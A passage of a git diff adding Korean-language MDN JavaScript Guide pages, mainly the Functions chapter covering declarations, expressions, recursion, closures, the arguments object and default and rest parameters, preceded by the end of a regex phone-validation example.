+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
+ &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+ &lt;script type="text/javascript"&gt;
+ var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
+ function testInfo(phoneInput){
+ var OK = re.exec(phoneInput.value);
+ if (!OK)
+ window.alert(OK.input + " isn't a phone number with area code!");
+ else
+ window.alert("Thanks, your phone number is " + OK[0]);
+ }
+ &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;p&gt;Enter your phone number (with area code) and then click "Check".
+ &lt;br&gt;The expected format is like ###-###-####.&lt;/p&gt;
+ &lt;form action="#"&gt;
+ &lt;input id="phone"&gt;&lt;button onclick="testInfo(document.getElementById('phone'));"&gt;Check&lt;/button&gt;
+ &lt;/form&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</p>
diff --git a/files/ko/web/javascript/guide/함수/index.html b/files/ko/web/javascript/guide/함수/index.html
new file mode 100644
index 0000000000..cf9d928eb3
--- /dev/null
+++ b/files/ko/web/javascript/guide/함수/index.html
@@ -0,0 +1,658 @@
+---
+title: 함수
+slug: Web/JavaScript/Guide/함수
+translation_of: Web/JavaScript/Guide/Functions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div>
+
+<p class="summary">함수는 JavaScript에서 기본적인 구성 블록 중의 하나입니다. 함수는 작업을 수행하거나 값을 계산하는 문장 집합 같은 자바스크립트 절차입니다. 함수를 사용하려면 함수를 호출하고자 하는 범위 내에서 함수를 정의해야만 합니다.</p>
+
+<p>세부 사항에 대해서는 <a href="/ko/docs/Web/JavaScript/Reference/Functions">exhaustive reference chapter about JavaScript functions</a>를 참조하세요.</p>
+
+<h2 id="함수_정의">함수 정의</h2>
+
+<h3 id="함수_선언">함수 선언</h3>
+
+<p>함수 정의(또는 함수 선언)는 다음과 같은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function" title="function"><code>함수</code></a> 키워드로 구성되어 있습니다:</p>
+
+<ul>
+ <li>함수의 이름</li>
+ <li>괄호 안에서 쉼표로 분리된 함수의 매개변수 목록 </li>
+ <li>중괄호 <code>{ }</code> 안에서 함수를 정의하는 자바스크립트 표현</li>
+</ul>
+
+<p>예를 들어, 다음의 코드는 <code>square</code>라는 간단한 함수를 정의하였습니다:</p>
+
+<pre class="brush: js"><code>function square(number) {
+ return number * number;
+}</code></pre>
+
+<p>함수 <code>square</code>은 <code>number</code>라는 하나의 매개변수를 가집니다. 이 함수는 인수 (즉, <code>number</code>) 자체를 곱하여 반환하는 하나의 문장으로 구성되어 있습니다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return" title="return">return</a></code> 문은 함수에 의해 반환된 값을 지정합니다.</p>
+
+<pre class="brush: js"><code>return number * number;</code></pre>
+
+<p>기본 자료형인 매개변수(number와 같은)는 <strong>값으로</strong> 함수에 전달됩니다; 즉, 값이 함수로 전달됩니다. 그러나 함수가 매개변수의 값을 바꾸더라도 이는 <strong>전역적으로 또는 함수를 호출하는 곳에는 반영되지 않습니다</strong>.</p>
+
+<p>만약 여러분이 매개변수로 (예: {{jsxref("Array")}}이나 사용자가 정의한 객체와 같이 기본 자료형이 아닌 경우)를 전달하거나 함수가 객체의 속성을 변하게 하는 경우, 다음의 예처럼 그 변화는 함수 외부에서 볼 수 있습니다:</p>
+
+<pre class="brush: js">function myFunc(theObject) {
+ theObject.make = "Toyota";
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+var x, y;
+
+x = mycar.make; // x 의 값은 "Honda" 입니다.
+
+myFunc(mycar);
+y = mycar.make; // y 의 값은 "Toyota" 입니다.
+ // (make 속성은 myFunc에서 변경되었습니다.)
+</pre>
+
+<h3 id="함수_표현식">함수 표현식</h3>
+
+<p>위에서 함수 선언은 구문적인 문(statement)이지만, <strong>함수 표현식(</strong> <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/function">function expression</a><strong>)</strong>에 의해서 함수가 만들어 질 수도 있습니다. 이 같은 함수를 <strong>익명</strong>이라고 합니다. 이 말은 모든 함수가 이름을 가질 필요는 없다는 것을 뜻합니다. 예를 들어, 함수 <code>square</code>은 다음과 같이 정의 될 수도 있습니다:</p>
+
+<pre class="brush: js">var square = function(number) { return number * number };
+var x = square(4) // x 의 값은 16 입니다.</pre>
+
+<p>하지만, 함수 표현식에서 함수의 이름을 지정 할 수 있으며, 함수내에서 자신을 참조하는데 사용되거나, 디버거 내 스택 추적에서 함수를 식별하는 데 사용될 수 있습니다.</p>
+
+<pre class="brush: js">var factorial = function fac(n) { return n&lt;2 ? 1 : n*fac(n-1) };
+
+console.log(factorial(3));
+</pre>
+
+<p>함수 표현식은 함수를 다른 함수의 매개변수로 전달할 때 편리합니다. 다음 예는 첫 번째 인자로로 함수를, 두 번째 인자로 배열을 받는 <code>map</code> 함수를 보여줍니다.</p>
+
+<pre class="brush: js">function map(f,a) {
+ var result = [], // Create a new Array
+ i;
+ for (i = 0; i != a.length; i++)
+ result[i] = f(a[i]);
+ return result;
+}
+</pre>
+
+<p>다음 코드에서, 함수 표현식으로 정의된 함수를 인자로 받아, 2번 째 인자인 배열의 모든 요소에 대해 그 함수를 실행합니다.</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">map</span><span class="punctuation token">(</span>f<span class="punctuation token">,</span> a<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> result <span class="operator token">=</span> <span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">;</span> <span class="comment token">// Create a new Array</span>
+ <span class="keyword token">var</span> i<span class="punctuation token">;</span> <span class="comment token">// Declare variable</span>
+ <span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">!=</span> a<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span>
+ result<span class="punctuation token">[</span>i<span class="punctuation token">]</span> <span class="operator token">=</span> <span class="function token">f</span><span class="punctuation token">(</span>a<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">return</span> result<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">var</span> f <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>x<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">return</span> x <span class="operator token">*</span> x <span class="operator token">*</span> x<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">5</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> cube <span class="operator token">=</span> <span class="function token">map</span><span class="punctuation token">(</span>f<span class="punctuation token">,</span>numbers<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>cube<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>함수는 [0, 1, 8, 125, 1000] 을 반환합니다.</p>
+
+<p>JavaScript에서 함수는 조건에 의해 정의될 수 있습니다. 예를 들어, 다음 함수 정의는 오직 <code>num</code>이 0일 때 경우에 만 <code>myFunc</code>을 정의합니다.</p>
+
+<pre class="brush: js">var myFunc;
+if (num == 0){
+ myFunc = function(theObject) {
+ theObject.make = "Toyota"
+ }
+}</pre>
+
+<p>여기에 기술된 바와 같이 함수를 정의하는것에 더하여 {{jsxref("eval", "eval()")}} 과 같이 런타임에 문자열에서 함수들을 만들기위해 {{jsxref("Function")}} 생성자를 사용할 수 있습니다.</p>
+
+<p>객체내의 한 속성이 함수인 경우 <strong>메서드</strong>라고 합니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Working_with_Objects" title="en-US/docs/JavaScript/Guide/Working with Objects">Working with objects</a>에서 객체와 방법에 대해 자세히 알아보세요.</p>
+
+<h2 id="함수_호출">함수 호출</h2>
+
+<p>함수를 정의하는 것은 함수를 실행하는 것이 아닙니다. 함수를 정의하는 것은 간단히 함수의 이름을 지어주고, 함수가 호출될 때 무엇을 할지 지정 해주는 것입니다. 사실 함수를 <strong>호출</strong>하는 것은 나타나있는 매개변수를 가지고 지정된 행위를 수행하는 것입니다. 예를 들어, 만약 여러분이 함수 <code>square</code>를 정의한다면, 함수를 다음과 같이 호출할 수 있습니다.</p>
+
+<pre class="brush: js">square(5);
+</pre>
+
+<p>위의 문장은 5라는 인수를 가지고 함수를 호출합니다. 함수는 이 함수의 실행문을 실행하고 값 25를 반환합니다.</p>
+
+<p>함수는 호출될 때 범위 내에 있어야 합니다. 그러나 함수의 선언은 이 예에서와 같이, 호이스팅 될 수 있습니다. (코드에서 호출 아래에 선언문이 있습니다.):</p>
+
+<pre class="brush: js">console.log(square(5));
+/* ... */
+function square(n) { return n*n }
+</pre>
+
+<p>함수의 범위는 함수가 선언된 곳이거나, 전체 프로그램 에서의 최상위 레벨(전역)에 선언된 곳입니다.</p>
+
+<div class="note">
+<p><strong>비고:</strong> 위에 구문을 사용하여 함수를 정의하는 경우에만 작동합니다 (즉, <code>function funcName(){}</code> ). 아래와 같은 코드는 작동되지 않습니다. 이것이 의미하는 바는, 함수 호이스팅은 오직 함수 선언과 함께 작동하고, 함수 표현식에서는 동작하지 않습니다.</p>
+</div>
+
+<pre class="brush: js example-bad">console.log(square); // square는 초기값으로 undefined를 가지고 호이스트된다.
+console.log(square(5)); // TypeError: square는 함수가 아니다.
+square = function (n) {
+ return n * n;
+}
+</pre>
+
+<p>함수의 인수는 문자열과 숫자에 제한되지 않습니다. 여러분은 함수에 전체 객체를 전달할 수 있습니다. <code>show_props()</code> 함수(<a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with objects</a>에서 정의된)는 인수로 객체를 취하는 함수의 예입니다.</p>
+
+<p>함수는 자신을 호출할 수 있습니다. 예를 들어, 팩토리얼을 재귀적으로 계산하는 함수가 있습니다:</p>
+
+<pre class="brush: js">function factorial(n){
+ if ((n == 0) || (n == 1))
+ return 1;
+ else
+ return (n * factorial(n - 1));
+}
+</pre>
+
+<p>여러분은 다음과 같이 1부터 5까지의 팩토리얼을 계산할 수 있습니다.</p>
+
+<pre class="brush: js">var a, b, c, d, e;
+a = factorial(1); // a gets the value 1
+b = factorial(2); // b gets the value 2
+c = factorial(3); // c gets the value 6
+d = factorial(4); // d gets the value 24
+e = factorial(5); // e gets the value 120
+</pre>
+
+<p>함수를 호출하는 다른 방법들이 있습니다. 함수를 동적 호출해야 하거나, 함수의 인수의 수가 달라져야 하거나, 함수 호출의 맥락이 런타임에서 결정된 특정한 객체로 설정될 필요가 있는 경우가 자주 있습니다. 함수가 그 자체로 객체이고 이들 객체는 차례로 메서드를({{jsxref("Function")}} 객체를 참조) 가지고 있습니다. 이들 중 하나인 {{jsxref("Function.apply", "apply()")}} 메서드는 이러한 목표를 달성하기 위해 사용될 수 있습니다.</p>
+
+<h2 class="deki-transform" id="함수의_범위">함수의 범위</h2>
+
+<p>함수 내에서 정의된 변수는 변수가 함수의 범위에서만 정의되어 있기 때문에, 함수 외부의 어느 곳에서든 액세스할 수 없습니다. 그러나, 함수가 정의된 범위 내에서 정의된 모든 변수나 함수는 액세스할 수 있습니다. 즉, 전역함수는 모든 전역 변수를 액세스할 수 있습니다. 다른 함수 내에서 정의 된 함수는 부모 함수와 부모 함수가 액세스 할 수 있는 다른 변수에 정의된 모든 변수를 액세스할 수 있습니다.</p>
+
+<pre class="brush: js">// The following variables are defined in the global scope
+var num1 = 20,
+ num2 = 3,
+ name = "Chamahk";
+
+// This function is defined in the global scope
+function multiply() {
+ return num1 * num2;
+}
+
+multiply(); // Returns 60
+
+// A nested function example
+function getScore () {
+ var num1 = 2,
+ num2 = 3;
+
+ function add() {
+ return name + " scored " + (num1 + num2);
+ }
+
+ return add();
+}
+
+getScore(); // Returns "Chamahk scored 5"
+</pre>
+
+<h2 id="Scope_and_the_function_stack" name="Scope_and_the_function_stack">범위와 함수 스택</h2>
+
+<h3 id="Recursion" name="Recursion">재귀</h3>
+
+<p>함수는 자신을 참조하고 호출할 수 있습니다. 함수가 자신을 참조하는 방법은 세 가지가 있습니다.</p>
+
+<ol>
+ <li>함수의 이름</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li>
+ <li>함수를 참조하는 범위 내 변수</li>
+</ol>
+
+<p>예를 들어, 다음 함수의 정의를 고려해보세요.</p>
+
+<pre class="brush: js">var foo = function bar() {
+ // statements go here
+};
+</pre>
+
+<p>함수 본문 내에서 다음은 모두 동일합니다.</p>
+
+<ol>
+ <li><code>bar()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>foo()</code></li>
+</ol>
+
+<p>자신을 호출하는 함수를 <em>재귀 함수</em>라고 합니다. 어떤 면에서, 재귀는 루프와 유사합니다. 둘 다 동일한 코드를 여러 번 실행하고, 조건(<span class="atn">무한 루프</span><span class="atn">를 방지</span><span class="atn">하거나, 이</span><span> 경우에는</span> <span class="hps">오히려</span> <span class="atn hps">무한 재귀</span><span class="atn">하는)</span>을 요구합니다. 예를 들어, 다음 루프는:</p>
+
+<pre class="brush: js">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" is the loop condition
+ // do stuff
+ x++;
+}
+</pre>
+
+<p>아래와 같이 재귀 함수와 그 함수에 대한 호출로 변환될 수 있습니다.</p>
+
+<pre class="brush: js">function loop(x) {
+ if (x &gt;= 10) // "x &gt;= 10" 는 탈출 조건 ("!(x &lt; 10)"와 동등)
+ return;
+ // do stuff
+ loop(x + 1); // the recursive call
+}
+loop(0);
+</pre>
+
+<p>그러나 일부 알고리즘은 단순 재귀 루프로 변환할 수 없습니다. 예를 들어, 트리 구조(가령, <a href="/en-US/docs/DOM">DOM</a>)의 모든 노드를 얻는 것은 재귀를 사용하여 보다 쉽게 할 수 있습니다:</p>
+
+<pre class="brush: js">function walkTree(node) {
+ if (node == null) //
+ return;
+ // do something with node
+ for (var i = 0; i &lt; node.childNodes.length; i++) {
+ walkTree(node.childNodes[i]);
+ }
+}
+</pre>
+
+<p>함수  <code>loop</code> 와 비교하여, 각 재귀 호출 자체는 여기에 많은 재귀 호출을 만듭니다.</p>
+
+<p>재귀적 알고리즘은 비 재귀적인 알고리즘으로 변환 할 수 있습니다. 그러나 변환된 알고리즘이 훨씬 더 복잡하며 그렇게 함으로써 스택의 사용을 요구합니다. 사실, 재귀 자체가 함수 스택을 사용 합니다.</p>
+
+<p>스택형 동작은 다음의 예에서 볼 수 있습니다:</p>
+
+<pre class="brush: js">function foo(i) {
+ if (i &lt; 0)
+ return;
+ console.log('begin:' + i);
+ foo(i - 1);
+ console.log('end:' + i);
+}
+foo(3);
+
+// Output:
+
+// begin:3
+// begin:2
+// begin:1
+// begin:0
+// end:0
+// end:1
+// end:2
+// end:3</pre>
+
+<h3 id="중첩된_함수와_클로저">중첩된 함수와 클로저</h3>
+
+<p>여러분은 함수 내에 함수를 끼워 넣을 수 있습니다. 중첩 된 (내부) 함수는 그것을 포함하는 (외부) 함수와 별개입니다. 그것은 또한 <em>클로저</em>를 형성합니다. 클로저는 그 변수(“폐쇄”라는 표현)를 결합하는 환경을 자유롭게 변수와 함께 가질 수 있는 표현(전형적인 함수)입니다.</p>
+
+<p>중첩 함수는 클로저이므로, 중첩된 함수는 그것을 포함하는 함수의 인수와 변수를 “상속”할 수 있는 것을 의미합니다. 즉, 내부 함수는 외부 함수의 범위를 포함합니다.</p>
+
+<p>요약하면:</p>
+
+<ul>
+ <li>내부 함수는 외부 함수의 명령문에서만 액세스할 수 있습니다.</li>
+</ul>
+
+<ul>
+ <li>내부 함수는 클로저를 형성합니다: 외부 함수는 내부 함수의 인수와 변수를 사용할 수 없는 반면에, 내부 함수는 외부 함수의 인수와 변수를 사용할 수 있습니다.</li>
+</ul>
+
+<p>다음 예는 중첩된 함수를 보여줍니다:</p>
+
+<pre class="brush: js">function addSquares(a,b) {
+ function square(x) {
+ return x * x;
+ }
+ return square(a) + square(b);
+}
+a = addSquares(2,3); // returns 13
+b = addSquares(3,4); // returns 25
+c = addSquares(4,5); // returns 41
+</pre>
+
+<p>내부 함수는 클로저를 형성하기 때문에, 여러분은 외부 함수를 호출하고, 외부 및 내부 함수 모두에 인수를 지정할 수 있습니다.</p>
+
+<pre class="brush: js">function outside(x) {
+ function inside(y) {
+ return x + y;
+ }
+ return inside;
+}
+fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it
+result = fn_inside(5); // returns 8
+
+result1 = outside(3)(5); // returns 8
+</pre>
+
+<h3 id="Efficiency_considerations" name="Efficiency_considerations">변수의 보존</h3>
+
+<p>중첩된 내부 함수가 반환될 때 외부 함수의 인수 <code>x</code>가 보존된다는 점을 알 수 있습니다. 클로저는 그것을 참조하는 모든 범위에서 인수와 변수를 보존해두어야 합니다. 매번 호출될 때마다 잠재적으로 다른 인수를 제공할 수 있기 때문에, 클로저는 외부 함수에 대하여 매번 새로 생성됩니다. 메모리는 그 무엇도 내부 함수에 접근하지 않을 때만 해제됩니다.</p>
+
+<p>변수의 보존은 일반 객체에서 참조를 저장해두는 것과 다르지 않지만, 사용자가 직접 참조를 설정하는 것이 아니고 자세히 들여다볼 수 없어서 종종 명확하지 않습니다.</p>
+
+<h3 id="Multiply-nested_functions" name="Multiply-nested_functions">다중 중첩 함수</h3>
+
+<p>함수는 다중 중첩될 수 있습니다. 즉, 함수 (C)를 포함하는 함수 (B)를 포함하는 함수 (A). 여기에서 두 함수 B와 C는 모두 클로저를 형성합니다. 그래서 B는 A를 엑세스할 수 있고, C는 B를 액세스 할 수 있습니다. 이와 같이, 클로저는 다중 범위를 포함 할 수 있습니다; 그들은 재귀적으로 그것을 포함하는 함수의 범위를 포함합니다. 이것을 <em>범위 체이닝</em>이라 합니다.(그것을 “체이닝”이라 하는 이유는 추후에 설명할 것입니다.)</p>
+
+<p>다음 예를 살펴 보겠습니다:</p>
+
+<pre class="brush: js">function A(x) {
+ function B(y) {
+ function C(z) {
+ console.log(x + y + z);
+ }
+ C(3);
+ }
+ B(2);
+}
+A(1); // logs 6 (1 + 2 + 3)
+</pre>
+
+<p>이 예에서, C는 B의 y와 A의 x를 엑세스 합니다. 이 때문에 수행할 수 있습니다:</p>
+
+<ol>
+ <li>B는 A를 포함하는 클로저를 형성합니다. 즉, B는 A의 인수와 변수를 엑세스할 수 있습니다.</li>
+ <li>C는 B를 포함하는 클로저를 형성합니다.</li>
+ <li>B의 클로저는 A를 포함하고, C의 클로저는 A를 포함하기 때문에, C는 B와 A의 인수와 변수를 엑세스할 수 있습니다. 즉, 순서대로 C는 A와 B의 범위를 체이닝합니다.</li>
+</ol>
+
+<p>그러나 역은 사실이 아닙니다. A는 C에 접근 할 수 없습니다. 왜냐하면 A는 B의 인수와 변수(C는 B변수)에 접근할수 없기 때문입니다. 그래서 C는 B에게만 사적으로 남게됩니다.</p>
+
+<h3 id="Name_conflicts" name="Name_conflicts">이름 충돌</h3>
+
+<p>클로저의 범위에서 두 개의 인수 또는 변수의 이름이 같은 경우, <em>이름 충돌</em>이 있습니다. 더 안쪽 범위가 우선순위를 갖습니다. 그래서 가장 바깥 범위는 우선순위가 가장 낮은 반면에, 가장 안쪽 범위는 가장 높은 우선순위를 갖습니다. 이것이 범위 체인(scope chaini)입니다. <span class="atn">체인에서</span> 첫번째는 <span class="hps">가장 안쪽</span> <span class="atn hps">범위</span><span>이고,</span> <span class="atn hps">마지막</span><span>은</span> <span class="atn hps">가장 바깥 쪽</span><span class="atn">의 범위입니다</span><span>.</span> <span class="hps">다음 사항을 고려하세요:</span></p>
+
+<pre class="brush: js">function outside() {
+ var x = 10;
+ function inside(x) {
+ return x;
+ }
+ return inside;
+}
+result = outside()(20); // returns 20 instead of 10
+</pre>
+
+<p>이름 충돌이 x를 반환하는 문과 내부의 매개 변수 x와 외부 변수 x 사이에서 발생합니다. 여기에서 범위 체이닝은 {내부, 외부, 전역 객체}입니다. 따라서 내부의 x는 외부의 x보다 높은 우선순위를 갖게 되고, 20(내부의 x)이 10(외부의 x) 대신에 반환됩니다.</p>
+
+<h2 id="클로저">클로저</h2>
+
+<p>클로저는 자바스크립트의 강력한 기능 중 하나입니다. 자바스크립트는 함수의 중첩(함수 안에 함수를 정의하는것)을 허용하고, 내부함수가 외부 함수 안에서 정의된 모든 변수와 함수들을 완전하게 접근 할 수 있도록 승인해줍니다.(그리고 외부함수가 접근할수 있는 모든 다른 변수와 함수들까지) 그러나 외부 함수는 내부 함수 안에서 정의된 변수와 함수들에 접근 할 수 없습니다. 이는 내부 함수의 변수에 대한 일종의 캡슐화를 제공합니다. 또한, 내부함수는 외부함수의 범위에 접근할 수 있기 때문에, 내부 함수가 외부 함수의 수명을 초과하여 생존하는 경우, 외부함수에서 선언된 변수나 함수는 외부함수의 실행 기간보다 오래갑니다. 클로저는 내부 함수가 어떻게든 외부 함수 범위 밖의 모든 범위에서 사용 가능해지면 생성됩니다.</p>
+
+<pre class="brush: js">var pet = function(name) { // 외부 함수는 'name'이라 불리는 변수를 정의합니다.
+ var getName = function() {
+ return name; // 내부 함수는 외부 함수의 'name' 변수에 접근합니다.
+ }
+ return getName; // 내부 함수를 리턴함으로써, 외부 범위에 노출됩니다.
+},
+myPet = pet("Vivie");
+
+myPet(); // "Vivie"로 리턴합니다.
+</pre>
+
+<p>클로저는 위 코드보다 더 복잡해 질 수도 있습니다. 외부 함수의 내부 변수를 다루는 메서드를 포함한 객체도 반환될 수도 있습니다.</p>
+
+<pre class="brush: js">var createPet = function(name) {
+ var sex;
+
+ return {
+ setName: function(newName) {
+ name = newName;
+ },
+
+ getName: function() {
+ return name;
+ },
+
+ getSex: function() {
+ return sex;
+ },
+
+ setSex: function(newSex) {
+ if(typeof newSex == "string" &amp;&amp; (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) {
+ sex = newSex;
+ }
+ }
+ }
+}
+
+var pet = createPet("Vivie");
+pet.getName(); // Vivie
+
+pet.setName("Oliver");
+pet.setSex("male");
+pet.getSex(); // male
+pet.getName(); // Oliver
+</pre>
+
+<p>위 코드에서, 외부 함수의 'name' 이란 변수는 내부 함수에서 접근이 가능합니다. 그리고 그 내장 함수를 통하는 방법 말고는 내부 변수로 접근할 수 없습니다. 내부 함수의 내부 변수는 외부 인수와 변수를 안전하게 저장합니다. 내부 변수는 내부 함수가 작동하기 위해 '지속적'이고 '갭슐화된' 데이터를 보유합니다. 함수는 변수로 할당되거나, 이름을 가질 필요가 없습니다.</p>
+
+<pre class="brush: js">var getCode = (function(){
+ var secureCode = "0]Eal(eh&amp;2"; // A code we do not want outsiders to be able to modify...
+
+ return function () {
+ return secureCode;
+ };
+})();
+
+getCode(); // Returns the secureCode
+</pre>
+
+<p>그러나 클로저를 쓰면서 조심해야 할 위험이 많이 있습니다. 만약 내부 함수가 외부 함수의 범위에 있는 이름과 같은 변수를 정의하였을 경우, 다시는 외부 함수 범위의 변수를 참조(접근)할 방법이 없습니다.</p>
+
+<pre class="brush: js">var createPet = function(name) { // 외부 함수가 "name" 이라는 변수를 정의하였다
+ return {
+ setName: function(name) { // 내부 함수 또한 "name" 이라는 변수를 정의하였다
+ name = name; // ??? 어떻게 우리는 외부 함수에 정의된 "name"에 접근할까???
+ }
+ }
+}
+</pre>
+
+<h2 id="인수(arguments)_객체_사용하기">인수(arguments) 객체 사용하기</h2>
+
+<p>함수의 인수는 배열과 비슷한 객체로 처리가 됩니다. 함수 내에서는, 전달 된 인수를 다음과 같이 다룰 수 있습니다. :</p>
+
+<pre class="brush: js">arguments[i]
+</pre>
+
+<p>i 는 0 으로 시작하는 순서 번호입니다. 따라서 함수에 전달된 첫 번째 인수는 <code>arguments[0]</code> 입니다. 총 인수의 개수는 <code>arguments.length</code> 에서 얻을 수 있습니다.</p>
+
+<p>인수(<code>arguments</code>) 객체를 이용하면, 보통 함수에 정의된 개수보다 많은 인수를 넘겨주면서 함수를 호출할 수 있습니다. 이것은 얼마나 많은 인수가 함수로 넘겨질지 모르는 상황에서 유용합니다. <code>arguments.length</code>를 함수에 실제로 넘겨받은 인수의 수를 알아낼 때 사용할 수 있고 , 각각의 인수에 인수(<code>arguments</code>) 객체를  이용하여 접근 할 수 있습니다.</p>
+
+<p>예를 들어, 몇 개의 문자열을 연결하는 함수를 생각해 봅시다. 이 함수의 유일한 형식 인수는 각 문자열을 구분해주는 문자를 나타내는 문자열입니다 . 이 함수는 다음과 같이 정의됩니다:</p>
+
+<pre class="brush: js">function myConcat(separator) {
+ var result = ""; // 리스트를 초기화한다
+ var i;
+ // arguments를 이용하여 반복한다
+ for (i = 1; i &lt; arguments.length; i++) {
+ result += arguments[i] + separator;
+ }
+ return result;
+}
+</pre>
+
+<p>어떤 개수의 인수도 이 함수로 넘겨줄 수 있고, 이 함수는 각각의 인수를 하나의 문자열 "리스트" 로 연결합니다. :</p>
+
+<pre class="brush: js">// returns "red, orange, blue, "
+myConcat(", ", "red", "orange", "blue");
+
+// returns "elephant; giraffe; lion; cheetah; "
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// returns "sage. basil. oregano. pepper. parsley. "
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 인수(arguments) 객체는 배열과 닮은 것이지 배열이 아닙니다. 인수(arguments) 객체는 번호 붙여진 인덱스와 길이 속성을 가지고 있다는 점에서 배열과 닮은 것입니다. 인수(arguments) 객체는 배열을 다루는 모든 메서드를 가지고 있지 않습니다.</p>
+</div>
+
+<p>더 자세한 정보를 얻고 싶으면 자바스크립트 참조문의 {{jsxref("Function")}}객체에 대하여 보세요.</p>
+
+<h2 id="함수의_매개변수">함수의 매개변수</h2>
+
+<p> ECMAScript 2015와 함께 시작된,두 종류의 매개변수가 있습니다 : 디폴트 매개변수 , 나머지 매개변수.</p>
+
+<h3 id="디폴트_매개변수">디폴트 매개변수</h3>
+
+<p>자바스크립트에서, 함수의 매개변수는 <code>undefined</code> 가 기본으로 설정됩니다. 그러나, 어떤 상황에서는 다른 값을 기본값으로 가진 것이 유용할 때가 있습니다. 이때가 디폴트 매개변수가 도움을 줄 수 있는 상황입니다.</p>
+
+<p>옛날엔, 기본값을 설정하는 보편적인 전략은 함수의 본문에서 매개변수 값을 테스트하여 그 값이 <code>undefined</code> 인 경우에 값을 할당하는 것이었습니다. 다음과 같은 예제에서, 함수호출 시 <code>b</code> 매개변수에 아무 값을 주지 않으면, <code>a*b</code> 계산 시 <code>b</code> 매개변수의 값은 <code>undefined</code> 일 것이므로 <code>multiply</code> 함수 호출은 <code>NaN</code>을 리턴할 것입니다. 그러나 이런 것은 이 예제의 2번째 줄에서 걸립니다:</p>
+
+<pre class="brush: js">function multiply(a, b) {
+ b = typeof b !== 'undefined' ? b : 1;
+
+ return a*b;
+}
+
+multiply(5); // 5
+</pre>
+
+<p>디폴트 매개변수와 함께라면, 함수 본문에서 검사하는 부분은 필요가 없습니다. 이제 , 함수 머리에서 <code>b</code> 의 기본값에 간단히 1을 넣어주면 됩니다:</p>
+
+<pre class="brush: js">function multiply(a, b = 1) {
+ return a*b;
+}
+
+multiply(5); // 5</pre>
+
+<p>더 자세한 내용을 보고 싶으시면,  <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> 문서를 참조하세요.</p>
+
+<h3 id="나머지_매개변수">나머지 매개변수</h3>
+
+<p> <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> 구문을 사용하면 배열로 불확실한 개수의 인수를 나타낼 수 있습니다. 이 예제에서, 우리는 나머지 매개변수를 2번째 인수부터 마지막 인수까지 얻기 위하여 사용하였습니다. 그리고 우리는 첫번째 값으로 나머지 매개변수에 곱하였습니다. 이 예제는 다음 섹션에서 소개할  화살표(arrow) 함수 입니다.</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+ return theArgs.map(x =&gt; multiplier * x);
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<h2 id="화살표_함수">화살표 함수</h2>
+
+<p> <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수 표현</a> (<strong>뚱뚱한 화살표(fat arrow) 함수라고 알려진</strong>)은 함수 표현과 비교하였을때 짧은 문법을 가지고 있고 사전적으로 this 값을 묶습니다. 화살표 함수는 언제나 익명입니다. hacks.mozilla.org 블로그 포스트 "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 In Depth: Arrow functions</a>" 를 참조하세요.</p>
+
+<p>화살표  함수 소개에 영향을 주는 두 요소: 더 짧은 함수와 바인딩 되지않은 <code>this</code>.</p>
+
+<h3 id="더_짧은_함수">더 짧은 함수</h3>
+
